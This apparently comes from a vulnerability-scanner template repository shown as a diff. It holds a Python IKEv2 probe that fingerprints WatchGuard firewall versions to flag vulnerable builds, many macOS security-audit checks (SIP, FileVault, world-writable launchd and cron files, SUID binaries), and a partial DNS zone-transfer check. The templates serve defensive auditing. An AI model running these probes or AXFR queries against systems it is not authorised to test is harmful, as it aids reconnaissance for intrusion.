AUTH_KPDK_MD5 = 4
AUTH_AES_XCBC_96 = 5
AUTH_HMAC_MD5_128 = 6
AUTH_HMAC_SHA1_160 = 7
AUTH_AES_CMAC_96 = 8
AUTH_AES_128_GMAC = 9
AUTH_AES_192_GMAC = 10
AUTH_AES_256_GMAC = 11
AUTH_HMAC_SHA2_256_128 = 12
AUTH_HMAC_SHA2_384_192 = 13
AUTH_HMAC_SHA2_512_256 = 14
class DiffieHellmanGroup(enum.IntEnum):
DH_GROUP_2048_BIT_MODP = 14
DH_GROUP_768_BIT_MODP = 1
DH_GROUP_1024_BIT_MODP = 2
DH_GROUP_1536_BIT_MODP = 5
DH_GROUP_3072_BIT_MODP = 15
DH_GROUP_4096_BIT_MODP = 16
DH_GROUP_6144_BIT_MODP = 17
DH_GROUP_8192_BIT_MODP = 18
RANDOM_ECP_GROUP_256_BIT = 19
RANDOM_ECP_GROUP_384_BIT = 20
RANDOM_ECP_GROUP_521_BIT = 21
DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP = 22
DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP = 23
DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP = 24
RANDOM_ECP_GROUP_192_BIT = 25
RANDOM_ECP_GROUP_224_BIT = 26
BRAINPOOLP224R1 = 27
BRAINPOOLP256R1 = 28
BRAINPOOLP384R1 = 29
BRAINPOOLP512R1 = 30
CURVE25519 = 31
CURVE448 = 32
GOST3410_2012_256 = 33
GOST3410_2012_512 = 34
ML_KEM_512 = 35
ML_KEM_768 = 36
ML_KEM_1024 = 37
class IkePacker:
@staticmethod
def header(initiator_spi, responder_spi, next_payload, exchange_type, message_id, version=0x20, flags = 0x08):
return struct.pack('>QQBBBBII', initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, 0)
@staticmethod
def payload_header(next_payload, payload, critical = 0):
return struct.pack('>BBH', next_payload, critical, 4 + len(payload)) + payload
@staticmethod
def security_association(next_payload, proposal):
return IkePacker.payload_header(next_payload, proposal)
@staticmethod
def proposal(next_payload, number, id, transforms = [], spi = b''):
b_transforms = b''
for transform in transforms:
if isinstance(transform, IkeTransform):
b_transforms += transform.pack()
continue
b_transforms += transform
return IkePacker.payload_header(next_payload, struct.pack('>BBBB', number, id, len(spi), len(transforms)) + spi + b_transforms)
@staticmethod
def key_exchange(next_payload, dh_group, data, reserved = 0):
return IkePacker.payload_header(next_payload, struct.pack('>HH', dh_group, reserved) + data)
@staticmethod
def nonce(next_payload, nonce):
return IkePacker.payload_header(next_payload, nonce)
@staticmethod
def notify(next_payload, notify_type, data = b'', protocol_id = 1, spi_size = 0):
return IkePacker.payload_header(next_payload, struct.pack('>BBH', protocol_id, spi_size, notify_type) + data)
@staticmethod
def vendor_id(next_payload, vendor_id):
return IkePacker.payload_header(next_payload, vendor_id)
class IkeTransform:
def __init__(self, next_payload, transform_type, transform_id, transform_attributes=None, reserved=0):
self.next_payload = next_payload
self.transform_type = transform_type
self.reserved = reserved
self.transform_id = transform_id
self.transform_attributes = transform_attributes
def pack(self):
transform = struct.pack('>BBH', self.transform_type, self.reserved, self.transform_id)
if self.transform_attributes:
transform += struct.pack('>I', self.transform_attributes)
return IkePacker.payload_header(self.next_payload, transform)
class IkeResponse:
def __init__(self, initiator_spi, responder_spi, version, exchange_type, flags, message_id, length, payloads):
self.initiator_spi = initiator_spi
self.responder_spi = responder_spi
self.version = version
self.exchange_type = exchange_type
self.flags = flags
self.message_id = message_id
self.length = length
self.payloads = payloads
def get(self, type):
payloads = []
for payload in self.payloads:
if payload['type'] == type:
payloads.append(payload['payload'])
return payloads
class IkeUnpacker:
@staticmethod
def unpack_payload_header(data):
return struct.unpack('>BBH', data[:4])
@staticmethod
def unpack(response):
initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, length = struct.unpack('>QQBBBBII', response[:28])
raw_payloads = response[28:]
i = 0
payload_type = next_payload
payloads = []
while i < len(raw_payloads):
next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(raw_payloads[i:i+4])
payload = raw_payloads[i+4:i+payload_length]
if payload_type == PayloadType.VENDOR_ID:
payload = payload
payloads.append({
'type': payload_type,
'critical': critical,
'payload': payload
})
i += payload_length
payload_type = next_payload
return IkeResponse(
initiator_spi,
responder_spi,
version,
exchange_type,
flags,
message_id,
length,
payloads
)
class IkeCrypto:
def __init__(self):
self.initiator_nonce = self.generate_nonce(32)
self.initiator_spi = random.randint(0, 0xffffffffffffffff)
self.responder_spi = 0x0000000000000000
self.client_private_key = None
self.client_public_key = None
self.client_public_key_bytes = None
self.generate_keys = self.dh_modp_14_generate_keys
self.generate_keys()
def generate_nonce(self, length=32):
return random.getrandbits(length * 8).to_bytes(length, 'big')
def dh_modp_14_generate_keys(self):
p_hex = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'
self.p = int(p_hex, 16)
if self.p.bit_length() != 2048:
self.p = self.p >> (self.p.bit_length() - 2048)
g = 2
self.client_private_key = random.randint(1, self.p - 1)
self.client_public_key = pow(g, self.client_private_key, self.p)
public_key_bit_length = self.client_public_key.bit_length()
public_key_byte_length = (public_key_bit_length + 7) // 8
if public_key_byte_length > 256:
raise ValueError(f"Public key too large: {public_key_byte_length} bytes (max 256)")
self.client_public_key_bytes = self.client_public_key.to_bytes(public_key_byte_length, 'big').rjust(256, b'\x00')
class IkeException(Exception):
pass
class IkeNoProposalChosenException(IkeException):
pass
class IkeInvalidKEPayloadException(IkeException):
pass
class Ike:
def __init__(self, ip, port, timeout = 5):
self.ip = ip
self.port = port
self.timeout = timeout
self.crypto = None
self.sock = None
self.reset()
@staticmethod
def update_request_length(request):
total_length = len(request)
return request[:24] + struct.pack('>I', total_length) + request[28:]
def reset(self):
if self.sock != None:
self.close()
self.crypto = IkeCrypto()
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.settimeout(self.timeout)
def send(self, packet):
self.sock.sendto(packet, (self.ip, self.port))
response, addr = self.sock.recvfrom(65535)
return IkeUnpacker.unpack(response)
def close(self):
self.sock.close()
self.sock = None
def sa_init(self):
global FW_VERSION, BUILD_NUMBER
dh_group = DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value
key_exchange = self.crypto.client_public_key_bytes
transforms = [
IkeTransform(PayloadType.TRANSFORM, TransformType.ENCRYPTION_ALGORITHM, EncryptionAlgorithm.ENCR_AES_CBC.value, 0x800e0100),
IkeTransform(PayloadType.TRANSFORM, TransformType.PSEUDO_RANDOM_FUNCTION, PseudoRandomFunction.PRF_HMAC_SHA2_256.value),
IkeTransform(PayloadType.TRANSFORM, TransformType.INTEGRITY_ALGORITHM, IntegrityAlgorithm.AUTH_HMAC_SHA2_256_128.value),
IkeTransform(PayloadType.NONE, TransformType.DIFFIE_HELLMAN_GROUP, DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value),
]
r = self.send(Ike.update_request_length(
IkePacker.header(self.crypto.initiator_spi, self.crypto.responder_spi, PayloadType.SECURITY_ASSOCIATION, ExchangeType.IKE_SA_INIT, 0) +
IkePacker.security_association(PayloadType.KEY_EXCHANGE, IkePacker.proposal(PayloadType.NONE, 1, 1, transforms)) +
IkePacker.key_exchange(PayloadType.NONCE, dh_group, key_exchange) +
IkePacker.nonce(PayloadType.NOTIFY, self.crypto.initiator_nonce) +
IkePacker.notify(PayloadType.NOTIFY, NotifyType.NAT_DETECTION_DESTINATION_IP, bytes.fromhex('a6358d813592fdd80a9aaa3390f39c8a5a76b6e4')) +
IkePacker.notify(PayloadType.VENDOR_ID, NotifyType.NAT_DETECTION_SOURCE_IP, bytes.fromhex('4cc324152ba3f68ef649ac1e6f96f33791611db2')) +
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c590254e5403cbb71f3d493111d7fcad')) +
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c61baca1f1a60cc10800000000000000')) +
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3c0000000')) +
IkePacker.vendor_id(PayloadType.NOTIFY, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3')) +
IkePacker.notify(PayloadType.NOTIFY, NotifyType.IKEV2_FRAGMENTATION_SUPPORTED, protocol_id = 0) +
IkePacker.notify(PayloadType.NOTIFY, NotifyType.REDIRECT_SUPPORTED, protocol_id = 0) +
IkePacker.notify(PayloadType.NONE, NotifyType.SIGNATURE_HASH_ALGORITHMS, bytes.fromhex('0001000200030004'), protocol_id = 0)
))
if FW_VERSION == None:
vendors = r.get(PayloadType.VENDOR_ID)
for vendor in vendors:
if len(vendor) > 32 and vendor[:8].hex() == 'bfc22e9856ba9936':
try:
watchguard_data = base64.b64decode(vendor[32:].decode('ascii')).decode()
match = re.search(r"VN=([0-9\.]+) BN=([0-9]+)", watchguard_data)
if match:
FW_VERSION = match.group(1)
BUILD_NUMBER = match.group(2)
if WatchGuardFw.version_tuple(FW_VERSION) < WatchGuardFw.version_tuple("12.11.4"):
return True, FW_VERSION, BUILD_NUMBER
else:
return False, FW_VERSION, BUILD_NUMBER
except (UnicodeDecodeError, binascii.Error):
continue
notifications = r.get(PayloadType.NOTIFY)
for notification in notifications:
if notification.message_type == NotifyType.NO_PROPOSAL_CHOSEN:
raise IkeNoProposalChosenException()
if notification.message_type == NotifyType.INVALID_KE_PAYLOAD:
raise IkeInvalidKEPayloadException()
return None, None, None
def test_connection(ip, port, timeout=20):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
sock.connect((ip, port))
sock.close()
return True
except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((ip, port))
sock.close()
return result == 0
except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
return False
def check_watchguard_version(ip, port=500, timeout=10, connection_timeout=20):
global FW_VERSION, BUILD_NUMBER
FW_VERSION = None
BUILD_NUMBER = None
if not test_connection(ip, port, connection_timeout):
return False, None, None
ike = Ike(ip, port, timeout)
try:
is_vulnerable, fw_version, build_number = ike.sa_init()
return is_vulnerable, fw_version, build_number
except TimeoutError:
logging.error(f"[-] {ip}:{port} - IKEv2 timeout")
return False, None, None
except IkeNoProposalChosenException:
logging.warning(f"[!] {ip}:{port} - IKEv2 service found but no proposal chosen")
return False, None, None
except IkeInvalidKEPayloadException:
logging.warning(f"[!] {ip}:{port} - IKEv2 service found but invalid KE payload")
return False, None, None
except Exception as e:
logging.error(f"[-] {ip}:{port} - Error: {e}")
return False, None, None
finally:
ike.close()
def main():
host = os.getenv("Host")
port = os.getenv("Port")
# Set default port to 500 if Port environment variable is not set
if port is None or port == "":
port = "500"
try:
is_vulnerable, fw_version, build_number = check_watchguard_version(host, int(port))
if is_vulnerable is True:
print(f"Vulnerable to Version {fw_version} (Build {build_number})")
elif is_vulnerable is False:
print(f"NOT VULN to Version {fw_version} (Build {build_number})")
except Exception as e:
logging.error(f"[-] {host}:{port or 500} - Error: {e}")
logging.info(f"[?] {host}:{port or 500} - ERROR")
logging.info(f" Status: Error occurred during check")
if __name__ == "__main__":
main()
matchers:
- type: word
words:
- "Vulnerable"
extractors:
- type: dsl
dsl:
- response
# digest: 490a0046304402200b20b5e843543b5c93b206a8371f1e4ba414338ffba73b9802ce6f607c792a1c022011bdd0baafcaafea5825557eb2878d8301fd5618033a17af7f28316310629452:922c64590222798bb761d5b6d8e72950
-34
View File
@@ -1,34 +0,0 @@
id: auto-login-enabled
info:
name: macOS Automatic Login Enabled
author: geeknik
severity: high
description: |
Checks if automatic login is enabled on macOS, allowing users to log in to the system without entering a password upon startup.
impact: |
Enabling automatic login can lead to unauthorized access to the user's account and data if the device is physically accessed.
remediation: |
Disable automatic login to require a password at startup and enhance physical security.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: word
words:
- "does not exist"
negative: true
# digest: 4a0a0047304502206e4abbed2d196fdcfbec430b63cb79ec4c970a766ae1dfa5699ed88c1df29841022100be4e6fe238b571547044d2a5d05526f69078c3f5536e4702b018e13149db8a7a:922c64590222798bb761d5b6d8e72950
-27
View File
@@ -1,27 +0,0 @@
id: filevault-disabled
info:
name: macOS FileVault Disabled
author: geeknik
severity: high
description: |
Identifies if FileVault full-disk encryption is disabled on macOS, leaving data unprotected from unauthorized access.
impact: |
Disabling FileVault leaves the data on the disk unencrypted and vulnerable to theft or unauthorized access if the device is lost or stolen.
remediation: |
Enable FileVault to encrypt the entire disk and protect the data at rest.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
fdesetup status
matchers:
- type: word
words:
- "FileVault is Off."
# digest: 4b0a00483046022100dbeda953db252023089741b1ebc7bfe9469e933be51e45c78375eb388a18e01d022100b08c18ef3cbd1adefb1455ae1b792c1647dba4be6856925de6508a35c4066c05:922c64590222798bb761d5b6d8e72950
-27
View File
@@ -1,27 +0,0 @@
id: firewall-disabled
info:
name: macOS Application Firewall Disabled
author: geeknik
severity: medium
description: |
Verifies if the macOS application firewall is disabled, removing protection against unauthorized network access by applications.
impact: |
Disabling the firewall can allow malicious applications to make outbound connections and expose the system to network-based attacks.
remediation: |
Enable the macOS application firewall to control network access for applications.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
matchers:
- type: word
words:
- "Firewall is disabled. (State = 0)"
# digest: 4b0a00483046022100fec597c208922cff8c5bf96d23a75c06d1192ecc31c5f257bd72cda4b05c3678022100b2899ee2431e105ca31f924e76bc446fa025a9c64b0f62c5268e06af0859be81:922c64590222798bb761d5b6d8e72950
-27
View File
@@ -1,27 +0,0 @@
id: gatekeeper-disabled
info:
name: macOS Gatekeeper Disabled
author: geeknik
severity: high
description: |
Checks if Gatekeeper is disabled on macOS, removing verification that downloaded applications are from identified developers.
impact: |
Disabling Gatekeeper allows the execution of applications from unverified sources, increasing the risk of malware infection.
remediation: |
Enable Gatekeeper to ensure that only applications from identified developers can be run.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
spctl --status
matchers:
- type: word
words:
- "assessments disabled"
# digest: 4b0a00483046022100c13d86b99f8f878a28f12b93336ffc8b2041992d8469e55e5f4253fe313aaf920221009d4860d4ef526c896fd5ca9018bfec060b55f363a0e8efe3bdbe53c6673bc5ec:922c64590222798bb761d5b6d8e72950
-31
View File
@@ -1,31 +0,0 @@
id: guest-user-enabled
info:
name: macOS Guest User Enabled
author: geeknik
severity: medium
description: |
Identifies if the guest user account is enabled on macOS, allowing anyone to use the computer without authentication.
impact: |
Enabling the guest user account can allow unauthorized users to access the system with limited, but potentially risky, privileges.
remediation: |
Disable the guest user account to reduce the risk of unauthorized access.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
defaults read /Library/Preferences/com.apple.loginwindow GuestEnabled 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: regex
regex:
- "^1$"
# digest: 4a0a00473045022100b56ce36c9516138969ae1baa1b6472abc91525849b6ebf9b1fcfed3a5921a45c0220475f29d019df5ace5aca8e06548449de2807ecdf682073423a0e4c7f4763db8d:922c64590222798bb761d5b6d8e72950
-27
View File
@@ -1,27 +0,0 @@
id: insecure-cron-jobs
info:
name: macOS World-Writable Cron Jobs
author: geeknik
severity: medium
description: |
Finds world-writable cron job files on macOS that can be modified by any user on the system.
impact: |
World-writable cron job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
remediation: |
Review and correct the permissions of world-writable cron job files.
tags: macos,audit,local,security,cron
self-contained: true
code:
- engine:
- sh
- bash
source: |
find /etc/crontab /var/at/tabs/ -perm -o+w -type f -ls 2>/dev/null
matchers:
- type: regex
regex:
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
# digest: 490a00463044022075a77d80b297101e767baa7a3df6a47b36d346be38b58abdd7ea504b7f8b49cb022079d8770c2062a09b57c244e78b22dab6f546cf4d9274013e66ee3dc2baef18b0:922c64590222798bb761d5b6d8e72950
@@ -1,32 +0,0 @@
id: insecure-etc-exports-permissions
info:
name: macOS Insecure /etc/exports Permissions
author: geeknik
severity: high
description: |
Identifies insecure permissions on the /etc/exports file used to configure NFS exports on macOS.
impact: |
Insecure permissions on /etc/exports could allow unauthorized users to modify the file and gain access to exported filesystems.
remediation: |
Ensure that the /etc/exports file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
tags: macos,audit,local,security,nfs
self-contained: true
code:
- engine:
- sh
- bash
source: |
ls -l /etc/exports 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: regex
regex:
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
negative: true
# digest: 4a0a00473045022100f0a90c14abd2b8151c008c14b461df041bd982ed2afe14cdb307fafb20f8934e0220363866f2cc52ca7b8ac63e881c4352af6b44aadf4571832c3cac632cf8a3fbdb:922c64590222798bb761d5b6d8e72950
@@ -1,32 +0,0 @@
id: insecure-etc-fstab-permissions
info:
name: macOS Insecure /etc/fstab Permissions
author: geeknik
severity: high
description: |
Validates permissions on the /etc/fstab file that defines how disk partitions and filesystems are mounted on macOS.
impact: |
Insecure permissions on /etc/fstab could allow unauthorized users to modify the file and mount malicious filesystems.
remediation: |
Ensure that the /etc/fstab file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
ls -l /etc/fstab 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: regex
regex:
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
negative: true
# digest: 4a0a00473045022100f63b670201e473559afe079d0f0944bd69bb9c3e624727ade721819c25bef59402205cfe065102455e15e4e85727ea9d8d59c11730662b81b8706d5e4cfd710db02f:922c64590222798bb761d5b6d8e72950
@@ -1,32 +0,0 @@
id: insecure-etc-hostconfig-permissions
info:
name: macOS Insecure /etc/hostconfig Permissions
author: geeknik
severity: high
description: |
Evaluates permissions on the /etc/hostconfig file used to configure system services on macOS.
impact: |
Insecure permissions on /etc/hostconfig could allow unauthorized users to modify the file and reconfigure system services.
remediation: |
Ensure that the /etc/hostconfig file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
ls -l /etc/hostconfig 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: regex
regex:
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
negative: true
# digest: 4b0a00483046022100d47f5829d759ebef3fbef226cb5a917a07bfff78791407217fd529a265a81876022100cb5bff86e6fa1eaf80f0f189250c9e59236c5c3f074d0499c96d642e6be6e1eb:922c64590222798bb761d5b6d8e72950
@@ -1,32 +0,0 @@
id: insecure-etc-inetd-conf-permissions
info:
name: macOS Insecure /etc/inetd.conf Permissions
author: geeknik
severity: high
description: |
Verifies permissions on the /etc/inetd.conf file used to configure the inetd daemon on macOS.
impact: |
Insecure permissions on /etc/inetd.conf could allow unauthorized users to modify the file and enable or disable network services.
remediation: |
Ensure that the /etc/inetd.conf file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
ls -l /etc/inetd.conf 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: regex
regex:
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
negative: true
# digest: 490a0046304402203a17f921ddd73a973258b7a7fe563d18218462436e060a5b6d27111c18f26f46022035c897ff32e61af7c5bf2dfd63b3c5c318182e88ce292d46962b404675dd93cc:922c64590222798bb761d5b6d8e72950
@@ -1,27 +0,0 @@
id: insecure-homebrew-permissions
info:
name: macOS World-Writable Homebrew Files
author: geeknik
severity: medium
description: |
Scans for world-writable files in the Homebrew directory that could be exploited for privilege escalation.
impact: |
World-writable files in the Homebrew directory can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
remediation: |
Review and correct the permissions of world-writable files in the Homebrew directory.
tags: macos,audit,local,security,homebrew
self-contained: true
code:
- engine:
- sh
- bash
source: |
find $(brew --prefix)/ -perm -o+w -type f -ls 2>/dev/null
matchers:
- type: regex
regex:
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
# digest: 4a0a0047304502201b6cc3d198cfe7d9f9285a73a3b9fcc416e015ee4418aa7dd46510903c057e68022100800ba72c60fd91ae271f6c627f2c147ff7082f01cde9ef3725453ceb802c1219:922c64590222798bb761d5b6d8e72950
@@ -1,27 +0,0 @@
id: insecure-launchd-jobs
info:
name: macOS World-Writable Launchd Jobs
author: geeknik
severity: medium
description: |
Searches for world-writable launchd job files on macOS that allow modification by any user.
impact: |
World-writable launchd job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
remediation: |
Review and correct the permissions of world-writable launchd job files.
tags: macos,audit,local,security,launchd
self-contained: true
code:
- engine:
- sh
- bash
source: |
find /System/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /Library/LaunchDaemons/ /Library/LaunchAgents/ ~/Library/LaunchAgents/ -perm -o+w -type f -ls 2>/dev/null
matchers:
- type: regex
regex:
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
# digest: 4a0a00473045022100d79cf12bf41b029f55016ee394b8bbe07438a24579d556e97b47fb4cf336c2f102204ddd8161cde0e4501b0af970e45f01dd08aa1146117665257d4e8afd6d2ba8fc:922c64590222798bb761d5b6d8e72950
@@ -1,27 +0,0 @@
id: insecure-startup-items
info:
name: macOS World-Writable Startup Items
author: geeknik
severity: medium
description: |
Identifies world-writable startup items on macOS that can be tampered with by unprivileged users.
impact: |
World-writable startup items can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
remediation: |
Review and correct the permissions of world-writable startup items.
tags: macos,audit,local,security,startup
self-contained: true
code:
- engine:
- sh
- bash
source: |
find /System/Library/StartupItems/ /Library/StartupItems/ -perm -o+w -type f -ls 2>/dev/null
matchers:
- type: regex
regex:
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
# digest: 4a0a00473045022100cdffabfeaa894e26f8e25b8f0e6f3eb621ef7ba02088001a384c45791c7a3be002206670aa650962df9af70ced787fa9058d9e6a5c2573bf3aca920e4eb466b3741d:922c64590222798bb761d5b6d8e72950
@@ -1,27 +0,0 @@
id: insecure-sudo-timestamp
info:
name: macOS Excessive Sudo Timestamp Timeout
author: geeknik
severity: medium
description: |
Checks if the sudo timestamp timeout is configured to an excessively long duration (100+ minutes).
impact: |
A long sudo timestamp can allow a user to execute commands with root privileges for an extended period of time without re-entering their password.
remediation: |
Set the sudo timestamp to a reasonable value to reduce the risk of unauthorized access.
tags: macos,audit,local,security,sudo
self-contained: true
code:
- engine:
- sh
- bash
source: |
grep -E "^Defaults.*timestamp_timeout=" /etc/sudoers
matchers:
- type: regex
regex:
- "timestamp_timeout=([1-9][0-9]{2,})"
# digest: 4a0a00473045022056c70c9e83ca5b06dfd2d6f37d3fac472448c1684e5513de20f012e1c6d79207022100fa6c9d279661d23106d9c0c878ae249adb35cd312d45c18c3f9a6f098d8bf186:922c64590222798bb761d5b6d8e72950
@@ -1,32 +0,0 @@
id: insecure-sudoers-permissions
info:
name: macOS Insecure /etc/sudoers Permissions
author: geeknik
severity: high
description: |
Audits permissions on the /etc/sudoers file that defines which users can run commands with root privileges on macOS.
impact: |
Insecure permissions on /etc/sudoers could allow unauthorized users to modify the file and grant themselves root privileges.
remediation: |
Ensure that the /etc/sudoers file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0440 or more restrictive.
tags: macos,audit,local,security,sudo
self-contained: true
code:
- engine:
- sh
- bash
source: |
ls -l /etc/sudoers 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: regex
regex:
- "^-r--r-----\\s+\\d+\\s+root\\s+\\w+"
negative: true
# digest: 4b0a0048304602210097a287244d9ed09ffb331116f32802392d11aaa8fb0213fc39c35c24166d8beb022100bd0f5ae8e37b1081db8f56616615959457283c1558406ddcb720f041b2aaa582:922c64590222798bb761d5b6d8e72950
@@ -1,27 +0,0 @@
id: insecure-tty-permissions
info:
name: macOS World-Readable TTY Devices
author: geeknik
severity: medium
description: |
Checks if TTY devices are readable by all users, potentially allowing session snooping.
impact: |
If TTYs are readable by all users, it may be possible for an attacker to sniff sensitive information from other users' sessions.
remediation: |
Ensure that TTYs are not readable by all users.
tags: macos,audit,local,security,tty
self-contained: true
code:
- engine:
- sh
- bash
source: |
ls -l /dev/tty*
matchers:
- type: regex
regex:
- "crw-rw-rw-.*"
# digest: 4a0a00473045022100e4abc01b85856b24dcdfa381e0bd89e145134b9bc22ca800b319461178c681740220239dac32ccb77f5a93dacc9aade8a0607f2f3fe0817dd862557c49551ef40cea:922c64590222798bb761d5b6d8e72950
-28
View File
@@ -1,28 +0,0 @@
id: insecure-umask
info:
name: macOS Permissive Umask Configuration
author: geeknik
severity: medium
description: |
Verifies if the umask is configured with overly permissive values that create insecurely accessible files.
impact: |
A permissive umask can result in new files being created with world-writable permissions, which can be a security risk.
remediation: |
Set the umask to a more restrictive value to ensure that new files are created with secure permissions.
tags: macos,audit,local,security,umask
self-contained: true
code:
- engine:
- sh
- bash
source: |
umask
matchers:
- type: regex
regex:
- "^0?0[0-2][0-7]$"
negative: true
# digest: 4b0a00483046022100c69d262b8d1b34e76e3555fcdba1fae77480c154bd0e30ba8b0acb7e0ed03e3b022100d2c19fc4e134aa384f4498467fe35d921684fe767e0d2948c4f4066cc8491723:922c64590222798bb761d5b6d8e72950
-27
View File
@@ -1,27 +0,0 @@
id: sip-disabled
info:
name: macOS System Integrity Protection (SIP) Disabled
author: geeknik
severity: high
description: |
Validates whether System Integrity Protection (SIP) is disabled, removing critical restrictions on system modifications.
impact: |
Disabling SIP significantly weakens the security of the system, making it more vulnerable to malware and unauthorized modifications.
remediation: |
Enable System Integrity Protection (SIP) to protect the system from unauthorized modifications.
tags: macos,audit,local,security
self-contained: true
code:
- engine:
- sh
- bash
source: |
csrutil status
matchers:
- type: word
words:
- "System Integrity Protection status: disabled."
# digest: 4b0a00483046022100a9c95ce47a76fc6365a0b50b12e67d6d2da2a2faecd59065b1b0ded05df9ebc9022100a6877fd0ebd4f9c2a736f424a6a383ce72760683f1fd31826405e1f05e945676:922c64590222798bb761d5b6d8e72950
-32
View File
@@ -1,32 +0,0 @@
id: ssh-service-running
info:
name: macOS SSH Service Running
author: geeknik
severity: info
description: |
Checks if the SSH service (Remote Login) is running on the macOS system.
impact: |
While not a vulnerability in itself, a running SSH service can be a potential attack vector if not properly configured and secured.
remediation: |
Disable the SSH service if it is not needed. If it is required, ensure that it is properly configured with strong passwords and key-based authentication.
tags: macos,audit,local,security,ssh
self-contained: true
code:
- engine:
- sh
- bash
source: |
launchctl print system/com.openssh.sshd 2>&1
matchers-condition: and
matchers:
- type: status
status:
- 0
- type: word
words:
- "state = running"
- "com.openssh.sshd"
# digest: 4a0a00473045022053ce4877c2b6dd468f675d1170e575f39b925e2aa4deeeec03b1a0ed80e322cc022100de4617540a86bac57c234caa4f163cb06390cd4e5915dd8b8bbb7c835b10d873:922c64590222798bb761d5b6d8e72950
-28
View File
@@ -1,28 +0,0 @@
id: suid-sgid-files
info:
name: macOS SUID/SGID Files Detection
author: geeknik
severity: high
description: |
Discovers files with SUID or SGID permissions in user-writable directories (/usr/local, /opt, /Applications) that could be exploited for privilege escalation if misconfigured or vulnerable.
impact: |
Misconfigured SUID/SGID executables in user-writable directories can be exploited by local users to gain elevated privileges.
remediation: |
Review the list of SUID/SGID files and remove the permissions if they are not necessary.
tags: macos,audit,local,security,privesc
self-contained: true
code:
- engine:
- sh
- bash
source: |
find /usr/local /opt /Applications -perm -4000 -o -perm -2000 -type f -ls 2>/dev/null
matchers:
- type: regex
regex:
- "^-rws.*"
- "^-..s.*"
# digest: 4b0a00483046022100dd30985f866765efba07fa5b717ba0293926c4eac8375acdb63235ac56712901022100f2217c9a5f0f16219fe49d888b8195944c5095e3680dd822cbb3dbe840d9a3f0:922c64590222798bb761d5b6d8e72950
@@ -1,34 +0,0 @@
id: dns-axfr-enabled
info:
name: DNS Zone Transfer Check (AXFR)
author: matejsmycka
severity: medium
description: |
Checks if particular domain can be queried via DNS Zone Transfer (AXFR). An open zone transfer can disclose all DNS records for a zone, leading to information leakage.
reference:
- https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html
metadata:
verified: true
shodan-query: port:53
tags: dns,tcp,axfr,code
code:
- engine:
- bash
source: |
domain=$Host
dig axfr $domain @$(dig $domain ns +short | head -n1)
matchers:
- type: regex
regex:
